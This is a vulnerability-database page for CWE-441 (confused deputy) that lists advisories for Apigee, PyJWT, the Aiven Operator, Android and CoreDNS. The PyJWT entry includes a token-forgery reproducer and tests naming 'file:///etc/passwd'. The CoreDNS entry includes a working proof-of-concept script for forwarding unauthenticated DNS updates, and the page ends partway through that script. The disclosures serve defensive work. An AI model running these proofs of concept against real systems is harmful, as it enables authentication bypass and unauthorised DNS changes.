Common Weakness Enumeration

CWE-441

Allowed-with-Review

Unintended Proxy or Intermediary ('Confused Deputy')

Abstraction: Class · Status: Draft

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

294 vulnerabilities reference this CWE, most recent first.

GHSA-974P-4XQX-2M2Q

Vulnerability from github – Published: 2026-07-09 15:32 – Updated: 2026-07-09 15:32
VLAI
Details

An Improper Input Validation vulnerability in BigQuery DAO in Google Cloud Apigee versions prior to 2026-06-12 on Google Cloud Platform allows an authenticated attacker to exfiltrate cross-tenant data.

This vulnerability was patched on 12 June 2026 on the Apigee Servers, and no customer action is needed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-09T14:16:27Z",
    "severity": "MODERATE"
  },
  "details": "An Improper Input Validation vulnerability in BigQuery DAO in Google Cloud Apigee versions prior to 2026-06-12 on Google Cloud Platform allows an authenticated attacker to exfiltrate cross-tenant data.\n\n\nThis vulnerability was patched on 12 June 2026 on the Apigee Servers, and no customer action is needed.",
  "id": "GHSA-974p-4xqx-2m2q",
  "modified": "2026-07-09T15:32:32Z",
  "published": "2026-07-09T15:32:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12879"
    },
    {
      "type": "WEB",
      "url": "https://cloud.google.com/apigee/docs/release-notes#July_08_2026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-993G-76C3-P5M4

Vulnerability from github – Published: 2026-06-15 19:28 – Updated: 2026-07-31 22:13
VLAI
Summary
PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes
Details

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py

def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()


def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")

Tests to add

def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))

Compatibility

  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

  • No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling
  • No existing GitHub issue or PR addressing scheme allowlisting
  • No silent fix in CHANGELOG through 2.12.1
  • 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:28:41Z",
    "nvd_published_at": "2026-05-28T16:16:29Z",
    "severity": "MODERATE"
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "GHSA-993g-76c3-p5m4",
  "modified": "2026-07-31T22:13:14Z",
  "published": "2026-06-15T19:28:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes"
}

GHSA-99J8-WV67-4C72

Vulnerability from github – Published: 2026-04-10 17:22 – Updated: 2026-04-10 17:22
VLAI
Summary
Aiven Operator has cross-namespace secret exfiltration via ClickhouseUser connInfoSecretSource
Details

Impact

A developer with create permission on ClickhouseUser CRDs in their own namespace can exfiltrate secrets from any other namespace — production database credentials, API keys, service tokens — with a single kubectl apply. The operator reads the victim's secret using its ClusterRole and writes the password into a new secret in the attacker's namespace.

The operator acts as a confused deputy: its ServiceAccount has cluster-wide secret read/write (aiven-operator-role ClusterRole), and it trusts user-supplied namespace values in spec.connInfoSecretSource.namespace without validation. No admission webhook enforces this boundary — the ServiceUser webhook returns nil, and no ClickhouseUser webhook exists.

Patches

This vulnerability is resolved in version 0.37.0. We recommend all users update as soon as possible.

Credits

Credits to Andrés Cruciani for finding and reporting the bug through our bug bounty program

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/aiven/aiven-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.31.0"
            },
            {
              "fixed": "0.37.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39961"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T17:22:00Z",
    "nvd_published_at": "2026-04-09T18:17:02Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA developer with create permission on ClickhouseUser CRDs in their own namespace can exfiltrate secrets from any other namespace \u2014 production database credentials, API keys, service tokens \u2014 with a single kubectl apply. The operator reads the victim\u0027s secret using its ClusterRole and writes the password into a new secret in the attacker\u0027s namespace.\n\nThe operator acts as a confused deputy: its ServiceAccount has cluster-wide secret read/write (aiven-operator-role ClusterRole), and it trusts user-supplied namespace values in spec.connInfoSecretSource.namespace without validation. No admission webhook enforces this boundary \u2014 the ServiceUser webhook returns nil, and no ClickhouseUser webhook exists.\n\n### Patches\n\nThis vulnerability is resolved in version 0.37.0. We recommend all users update as soon as possible.\n\n### Credits\n\nCredits to Andr\u00e9s Cruciani for finding and reporting the bug through our [bug bounty program](https://bugcrowd.com/aiven-mbb-og)",
  "id": "GHSA-99j8-wv67-4c72",
  "modified": "2026-04-10T17:22:00Z",
  "published": "2026-04-10T17:22:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aiven/aiven-operator/security/advisories/GHSA-99j8-wv67-4c72"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39961"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aiven/aiven-operator/commit/032c9ba63257fdd2fddfb7f73f71830e371ff182"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aiven/aiven-operator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aiven/aiven-operator/releases/tag/v0.37.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Aiven Operator has cross-namespace secret exfiltration via ClickhouseUser connInfoSecretSource"
}

GHSA-9C9W-6VG7-JGGQ

Vulnerability from github – Published: 2023-04-19 21:30 – Updated: 2024-04-04 03:35
VLAI
Details

In getNumberFromCallIntent of NewOutgoingCallIntentBroadcaster.java, there is a possible way to enumerate other user's contact phone number due to a confused deputy. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-257030107

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-21082"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-19T20:15:11Z",
    "severity": "MODERATE"
  },
  "details": "In getNumberFromCallIntent of NewOutgoingCallIntentBroadcaster.java, there is a possible way to enumerate other user\u0027s contact phone number due to a confused deputy. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-257030107",
  "id": "GHSA-9c9w-6vg7-jggq",
  "modified": "2024-04-04T03:35:49Z",
  "published": "2023-04-19T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21082"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2023-04-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9GM5-9RFH-M6VX

Vulnerability from github – Published: 2026-09-17 20:33 – Updated: 2026-09-17 20:33
VLAI
Summary
CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP
Details

Summary

CoreDNS accepted RFC 2136 UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the proxy/forward plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.

If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.

Details

The affected listeners called dns.Msg.Unpack without the request policy used by the UDP/TCP server:

CoreDNS routed the message using its Zone question without checking the opcode. forward then passed the original message to the upstream.

By contrast, dns.DefaultMsgAcceptFunc allows only QUERY and NOTIFY. The fix applies that policy to the raw header via dnsutil.UnpackRequest before any affected transport dispatches the request.

PoC

The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the forward plugin may select either transport. It does not contact or modify a real authoritative server.

Clone the repository and build the server:

git clone git@github.com:coredns/coredns.git
cd coredns
git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main
go build -tags=grpcnotrace -o coredns .

Save this as Corefile.poc:

https://.:8053 {
    bind 127.0.0.1
    tls plugin/tls/test_cert.pem plugin/tls/test_key.pem
    forward . 127.0.0.1:15354
}

Save this as poc.py:

#!/usr/bin/env python3
import argparse
import http.client
import queue
import socket
import ssl
import struct
import threading


OPCODE_UPDATE = 5
TYPE_A = 1
CLASS_IN = 1


def encode_name(name):
    return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00"


def update_message():
    zone = encode_name("example.com.") + struct.pack("!HH", 6, CLASS_IN)
    update = (
        encode_name("foo.example.com.")
        + struct.pack("!HHIH", TYPE_A, CLASS_IN, 300, 4)
        + socket.inet_aton("192.0.2.123")
    )
    header = struct.pack("!HHHHHH", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0)
    return header + zone + update


def read_name(message, offset):
    labels = []
    end = None
    seen = set()
    while True:
        if offset >= len(message) or offset in seen:
            raise ValueError("invalid DNS name")
        seen.add(offset)
        length = message[offset]
        if length & 0xC0 == 0xC0:
            if offset + 1 >= len(message):
                raise ValueError("truncated compression pointer")
            if end is None:
                end = offset + 2
            offset = ((length & 0x3F) << 8) | message[offset + 1]
            continue
        offset += 1
        if length == 0:
            return ".".join(labels) + ".", end if end is not None else offset
        if length & 0xC0 or offset + length > len(message):
            raise ValueError("invalid DNS label")
        labels.append(message[offset : offset + length].decode("ascii"))
        offset += length


def question_end(message, count):
    offset = 12
    for _ in range(count):
        _, offset = read_name(message, offset)
        offset += 4
        if offset > len(message):
            raise ValueError("truncated question")
    return offset


def parse_update(message):
    _, flags, qdcount, _, nscount, _ = struct.unpack_from("!HHHHHH", message)
    if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1:
        return None
    offset = question_end(message, qdcount)
    name, offset = read_name(message, offset)
    rrtype, rrclass, ttl, rdlength = struct.unpack_from("!HHIH", message, offset)
    offset += 10
    rdata = message[offset : offset + rdlength]
    if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:
        return None
    return name, ttl, socket.inet_ntoa(rdata)


def response_for(message):
    ident, flags, qdcount, _, _, _ = struct.unpack_from("!HHHHHH", message)
    end = question_end(message, qdcount)
    response_flags = flags | 0x8000
    return struct.pack("!HHHHHH", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]


def handle_message(message, peer, received):
    try:
        update = parse_update(message)
        response = response_for(message)
    except (ValueError, struct.error):
        return None
    if update is not None:
        received.put((peer, update))
    return response


def serve_udp(sock, received, stopped):
    while not stopped.is_set():
        try:
            message, peer = sock.recvfrom(65535)
        except socket.timeout:
            continue
        except OSError:
            return
        response = handle_message(message, peer, received)
        if response is not None:
            sock.sendto(response, peer)


def recv_exact(connection, size, stopped):
    data = bytearray()
    while len(data) < size and not stopped.is_set():
        try:
            chunk = connection.recv(size - len(data))
        except socket.timeout:
            continue
        if not chunk:
            return None
        data.extend(chunk)
    return bytes(data) if len(data) == size else None


def serve_tcp(sock, received, stopped):
    while not stopped.is_set():
        try:
            connection, peer = sock.accept()
        except socket.timeout:
            continue
        except OSError:
            return
        with connection:
            connection.settimeout(0.1)
            while not stopped.is_set():
                length = recv_exact(connection, 2, stopped)
                if length is None:
                    break
                message = recv_exact(connection, struct.unpack("!H", length)[0], stopped)
                if message is None:
                    break
                response = handle_message(message, peer, received)
                if response is not None:
                    connection.sendall(struct.pack("!H", len(response)) + response)


def send_doh(host, port, payload, timeout):
    context = ssl._create_unverified_context()
    connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)
    try:
        connection.request(
            "POST",
            "/dns-query",
            body=payload,
            headers={"Content-Type": "application/dns-message"},
        )
        response = connection.getresponse()
        body = response.read()
        return response.status, len(body)
    finally:
        connection.close()


def main():
    parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH")
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=8053)
    parser.add_argument("--upstream-host", default="127.0.0.1")
    parser.add_argument("--upstream-port", type=int, default=15354)
    parser.add_argument("--timeout", type=float, default=2.0)
    parser.add_argument("--expect", choices=("forwarded", "blocked", "either"), default="either")
    args = parser.parse_args()

    received = queue.Queue()
    stopped = threading.Event()
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.settimeout(0.1)
    udp_sock.bind((args.upstream_host, args.upstream_port))
    tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    tcp_sock.settimeout(0.1)
    tcp_sock.bind((args.upstream_host, args.upstream_port))
    tcp_sock.listen()
    threads = [
        threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),
        threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),
    ]
    for thread in threads:
        thread.start()

    payload = update_message()
    try:
        status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)
        try:
            peer, update = received.get(timeout=args.timeout)
        except queue.Empty:
            peer = update = None
    finally:
        stopped.set()
        udp_sock.close()
        tcp_sock.close()
        for thread in threads:
            thread.join(timeout=1)

    print("payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123" % len(payload))
    print("http_status=%d response_bytes=%d" % (status, response_bytes))
    if update is None:
        result = "blocked"
        print("upstream_received_update=false")
    else:
        result = "forwarded"
        name, ttl, address = update
        print("upstream_received_update=true source=%s:%d" % peer)
        print("upstream_record=%s %d IN A %s" % (name, ttl, address))
    print("result=%s" % result)

    if args.expect != "either" and args.expect != result:
        raise SystemExit("expected %s, got %s" % (args.expect, result))


if __name__ == "__main__":
